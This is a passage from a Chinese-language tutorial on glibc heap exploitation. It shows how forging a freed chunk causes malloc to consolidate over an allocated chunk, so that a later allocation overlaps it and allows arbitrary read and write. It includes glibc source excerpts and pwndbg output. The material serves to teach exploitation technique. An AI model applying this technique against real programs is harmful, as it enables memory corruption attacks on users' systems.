接下来是见证奇迹的时刻,我们知道,两个相邻的 small chunk 被释放后会被合并在一起。首先释放 chunk b1,伪造出 fake chunk b 是 free chunk 的样子。然后释放 chunkC,因为chunkC的prevsize没有变化,这个时候 chunkC 会认为 chunkB1 就是 chunkB,这时程序会发现 chunk c 的前一个 chunk 是一个 free chunk,然后就将它们合并在了一起,并从 unsorted bin 中取出来合并进了 top chunk。可怜的 chunkB2 位于 chunkB1 和 chunkC 之间,被直接无视了,现在 malloc 认为这整块区域都是未分配的,新的 top chunk 指针已经说明了一切
chunk 合并的过程如下,首先该 chunk 与前一个 chunk 合并,然后检查下一个 chunk 是否为 top chunk,如果不是,将合并后的 chunk 放回 unsorted bin 中,否则,合并进 top chunk:
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}
if (nextchunk != av->top) {
/*
Place the chunk in unsorted chunk list. Chunks are
not placed into regular bins until after they have
been given one chance to be used in malloc.
*/
[...]
}
/*
If the chunk borders the current high end of memory,
consolidate into top
*/
else {
size += nextsize;
set_head(p, size | PREV_INUSE);
av->top = p;
check_chunk(av, p);
}
接下来,申请一块大空间,大到可以把 chunkB2 包含进来,这样 chunkB2 就完全被我们控制了,假设我们之前对 chunkB2 写的是一个指针。此时我们 得到的新chunkD。我们可以对chunkB2的内容进行任意读写了
pwndbg> n
d: 0x603120
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x603000
Size: 0x111
Allocated chunk | PREV_INUSE
Addr: 0x603110
Size: 0x321
Allocated chunk | PREV_INUSE
Addr: 0x603430
Size: 0x111
Top chunk | PREV_INUSE
Addr: 0x603540
Size: 0x20ac1
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x60: 0x6032b0 —▸ 0x7ffff7dd1bc8 (main_arena+168) ◂— 0x6032b0
largebins
empty
可以发现chunkB2的内容已经被修改了
pwndbg> n
New b2 content:
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD